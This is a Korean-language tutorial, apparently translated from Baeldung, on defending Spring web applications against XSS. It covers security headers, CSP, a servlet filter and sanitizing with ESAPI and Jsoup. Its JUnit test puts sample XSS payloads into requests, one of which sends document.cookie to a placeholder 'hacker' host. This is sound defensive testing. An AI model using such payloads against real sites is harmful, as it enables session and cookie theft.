1. 개요

Spring 웹 애플리케이션을 빌드 할 때 Security에 초점을 맞추는 것이 중요합니다. 크로스 사이트 스크립팅 (XSS) 은 웹 Security에 대한 가장 중요한 공격 중 하나입니다.

XSS 공격을 방지하는 것은 Spring 애플리케이션의 도전입니다. Spring은 약간의 도움을 제공하지만 완전한 보호를 위해 추가 코드를 구현해야합니다.

이 자습서에서는 사용 가능한 Spring Security 기능을 사용하고 자체 XSS 필터를 추가합니다.

2. 크로스 사이트 스크립팅 (XSS) 공격이란 무엇입니까?

2.1. 문제의 정의

XSS는 일반적인 유형의 주입 공격입니다. XSS에서 공격자는 웹 애플리케이션에서 악성 코드를 실행하려고합니다. 웹 브라우저 또는 Postman 과 같은 HTTP 클라이언트 도구를 통해 상호 작용합니다 .

XSS 공격에는 두 가지 유형이 있습니다.

  • 반사 또는 비 영구 XSS
  • 저장 또는 영구 XSS

Reflected 또는 Nonpersistent XSS에서 신뢰할 수없는 사용자 데이터는 웹 애플리케이션에 제출되며, 응답으로 즉시 반환되어 신뢰할 수없는 콘텐츠가 페이지에 추가됩니다. 웹 브라우저는 코드가 웹 서버에서 온 것으로 가정하고 실행합니다. 이렇게하면 해커가 링크를 보내면 브라우저가 사용하는 사이트에서 개인 데이터를 검색 한 다음 브라우저가이를 해커의 서버로 전달하도록 할 수 있습니다.

Stored 또는 Persistent XSS에서 공격자의 입력은 웹 서버에 저장됩니다. 그 후, 향후 방문자가 해당 악성 코드를 실행할 수 있습니다.

2.2. 공격에 대한 방어

XSS 공격을 방지하기위한 주요 전략은 사용자 입력을 정리하는 것입니다.

Spring 웹 애플리케이션에서 사용자의 입력은 HTTP 요청입니다. 공격을 방지하려면 HTTP 요청의 내용을 확인하고 서버 나 브라우저에서 실행할 수있는 모든 것을 제거해야합니다.

웹 브라우저를 통해 액세스되는 일반 웹 애플리케이션의 경우 Spring Security 의 내장 기능 (Reflected XSS)을 사용할 수 있습니다. API를 노출하는 웹 애플리케이션의 경우 Spring Security는 어떤 기능도 제공하지 않으며 Stored XSS를 방지하기 위해 사용자 지정 XSS 필터를 구현해야합니다.

3. Spring Security로 애플리케이션 XSS를 안전하게 만들기

Spring Security는 기본적으로 여러 Security 헤더를 제공합니다. 그것은 포함 X-XSS-보호 헤더를. X-XSS-Protection 은 브라우저가 XSS처럼 보이는 것을 차단하도록 지시합니다. Spring Security는이 Security 헤더를 응답에 자동으로 추가 할 수 있습니다. 이를 활성화하기 위해 Spring Security 구성 클래스에서 XSS 지원을 구성합니다.

이 기능을 사용하면 브라우저가 XSS 시도를 감지 할 때 렌더링되지 않습니다. 그러나 일부 웹 브라우저는 XSS 감사자를 구현하지 않았습니다. 이 경우 X-XSS-Protection 헤더를 사용하지 않습니다 . 이 문제를 극복하기 위해 CSP (콘텐츠 Security 정책)  기능을 사용할 수도 있습니다 .

CSP는 XSS 및 데이터 주입 공격을 완화하는 데 도움이되는 추가 Security 계층입니다. 이를 활성화하려면 WebSecurityConfigurerAdapter을 제공하여 Content-Security-Policy 헤더 를 반환하도록 애플리케이션을 구성해야합니다 .

@Configuration
public class SecurityConf extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
          .headers()
          .xssProtection()
          .and()
          .contentSecurityPolicy("script-src 'self'");
    }
}

이러한 헤더는 저장된 XSS로부터 REST API보호 합니다. 이 문제를 해결하려면 XSS 필터를 구현해야 할 수도 있습니다.

4. XSS 필터 만들기

4.1. XSS 필터 사용

XSS 공격을 방지하기 위해 요청을 RestController에 전달하기 전에 요청 내용에서 의심스러운 문자열을 모두 제거합니다 .

HTTP 요청 콘텐츠에는 다음 부분이 포함됩니다.

  • 헤더
  • 매개 변수

일반적으로 모든 요청에 ​​대해 헤더, 매개 변수 및 본문에서 악성 코드를 제거해야합니다 .

요청 값을 평가하기위한 필터를 만들 것입니다. XSS 필터는 요청의 매개 변수, 헤더 및 본문을 확인합니다.

필터 인터페이스 를 구현하여 XSS 필터를 만들어 보겠습니다 .

@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
public class XSSFilter implements Filter {
 
    @Override 
    public void doFilter(ServletRequest request, ServletResponse response,
      FilterChain chain) throws IOException, ServletException {
        XSSRequestWrapper wrappedRequest = 
          new XSSRequestWrapper((HttpServletRequest) request);
        chain.doFilter(wrappedRequest, response);
    }

    // other methods
}

XSS 필터를 Spring 애플리케이션의 첫 번째 필터로 구성해야합니다. 따라서 필터의 순서를 HIGHEST_PRECEDENCE로 설정합니다 .

요청에 데이터 정리를 추가하기 위해 XSSRequestWrapper 라는 HttpServletRequestWrapper 의 하위 클래스를 생성합니다.이 하위 클래스 는 컨트롤러에 데이터를 제공하기 전에 XSS 검사를 실행하도록 getParameterValues , getParametergetHeaders 메서드를 재정의합니다 .

4.2. 요청 매개 변수에서 XSS 제거

이제 요청 래퍼에서 getParameterValues 및  getParameter 메서드를 구현해 보겠습니다 .

public class XSSRequestWrapper extends HttpServletRequestWrapper {

    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        return stripXSS(value);
    }
}

각 값을 처리하기 위해 stripXSS 함수를 작성할 것 입니다. 곧 구현하겠습니다.

4.3. 요청 헤더에서 XSS 제거

또한 요청 헤더에서 XSS를 제거해야합니다. 마찬가지로 대해 getHeaders를 다시 표시 열거 우리는 각 헤더를 청소, 새 List을 생성해야합니다 :

@Override
public Enumeration getHeaders(String name) {
    List result = new ArrayList<>();
    Enumeration headers = super.getHeaders(name);
    while (headers.hasMoreElements()) {
        String header = headers.nextElement();
        String[] tokens = header.split(",");
        for (String token : tokens) {
            result.add(stripXSS(token));
        }
    }
    return Collections.enumeration(result);
}

4.4. 요청 본문에서 XSS 제거

필터는 요청 본문에서 위험한 콘텐츠를 제거해야합니다. 수정 가능한 InputStream을 사용하여 이미 래핑 된 요청있으므로 본문을 처리하고 정리 한 후 InputStream 의 값을 재설정하도록 코드를 확장 해 보겠습니다 .

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
  throws IOException, ServletException {
    XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
    String body = IOUtils.toString(wrappedRequest.getReader());
    if (!StringUtils.isBlank(body)) {
        body = XSSUtils.stripXSS(body);
        wrappedRequest.resetInputStream(body.getBytes());
    }
    chain.doFilter(wrappedRequest, response);
}

5. 데이터 정리를위한 외부 라이브러리 사용

요청을 읽는 모든 코드는 이제 사용자 제공 콘텐츠 에서 stripXSS 함수를 실행합니다 . 이제 XSS 검사를 수행하는 함수를 만들어 보겠습니다.

첫째,이 메서드는 요청의 값을 가져와이를 정규화합니다. 이 단계에서는 ESAPI 를 사용 합니다. ESAPI는 OWASP에서 제공하는 오픈 소스 웹 애플리케이션 Security 제어 라이브러리입니다.

둘째, XSS 패턴에 대해 요청 값을 확인합니다. 값이 의심 스러우면 빈 문자열로 설정됩니다. 이를 위해 몇 가지 간단한 정리 기능을 제공 하는 Jsoup을 사용 합니다. 더 많은 제어를 원하면 자체 정규식을 작성할 수 있지만 라이브러리를 사용하는 것보다 오류가 더 발생할 수 있습니다.

5.1. 의존성

먼저 pom.xml 파일에 esapi maven 의존성을 추가 합니다.

<dependency>
    <groupId>org.owasp.esapi</groupId>
    <artifactId>esapi</artifactId>
    <version>2.2.2.0</version>
</dependency>

또한 jsoup이 필요 합니다 .

<dependency>
    <groupId>org.jsoup</groupId>
    <artifactId>jsoup</artifactId>
    <version>1.13.1</version>
</dependency>

5.2. 그것을 구현

이제 stripXSS  메서드를 만들어 보겠습니다 .

public static String stripXSS(String value) {
    if (value == null) {
        return null;
    }
    value = ESAPI.encoder()
      .canonicalize(value)
      .replaceAll("\0", "");
    return Jsoup.clean(value, Whitelist.none());
}

여기에서는 Jsoup 화이트리스트  를 텍스트 노드 만 허용 하는 없음으로 설정했습니다 . 이렇게하면 모든 HTML이 제거됩니다.

6. XSS 예방 테스트

6.1. 수동 테스트

이제 Postman을 사용하여 애플리케이션에 의심스러운 요청을 보냅니다. URI / personService / person에 POST 메시지를 보냅니다 . 또한 몇 가지 의심스러운 헤더와 매개 변수를 포함합니다.

아래 그림은 요청 헤더 및 매개 변수를 보여줍니다.

서비스가 JSON 데이터를 수락하므로 의심스러운 JSON 콘텐츠를 요청 본문에 추가해 보겠습니다.

테스트 서버가 정리 된 응답을 반환 할 때 어떤 일이 발생했는지 살펴 보겠습니다.

헤더와 매개 변수 값은 빈 문자열로 대체됩니다. 또한 Response body은 lastName 필드 의 의심스러운 값 이 제거 되었음을 보여줍니다 .

6.2. 자동화 된 테스트

이제 XSS 필터링에 대한 자동화 된 테스트를 작성해 보겠습니다.

// declare required variables
personJsonObject.put("id", 1);
personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");

builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
  .queryParam("param", "<script>");

headers.add("header_1", "<body onload=alert('XSS')>");
headers.add("header_2", "<span onmousemove='doBadXss()'>");
headers.add("header_3", "<SCRIPT>var+img=new+Image();" 
  + "img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);

ResponseEntity<String> personResultAsJsonStr = restTemplate
  .exchange(builder.toUriString(), HttpMethod.POST, request, String.class);
JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());

assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
assertThat(root.get("param").textValue()).isEmpty();
assertThat(root.get("header_1").textValue()).isEmpty();
assertThat(root.get("header_2").textValue()).isEmpty();
assertThat(root.get("header_3").textValue()).isEmpty();
assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");

7. 결론

이 기사에서는 Spring Security 기능과 사용자 정의 XSS 필터를 모두 사용하여 XSS 공격을 방지하는 방법을 살펴 보았습니다.

반사 및 지속적인 XSS 공격으로부터 우리를 어떻게 보호 할 수 있는지 살펴 보았습니다. 또한 Postman 및 JUnit 테스트로 애플리케이션을 테스트하는 방법도 살펴 보았습니다.

항상 그렇듯이 소스 코드는 GitHub 에서 찾을 수 있습니다 .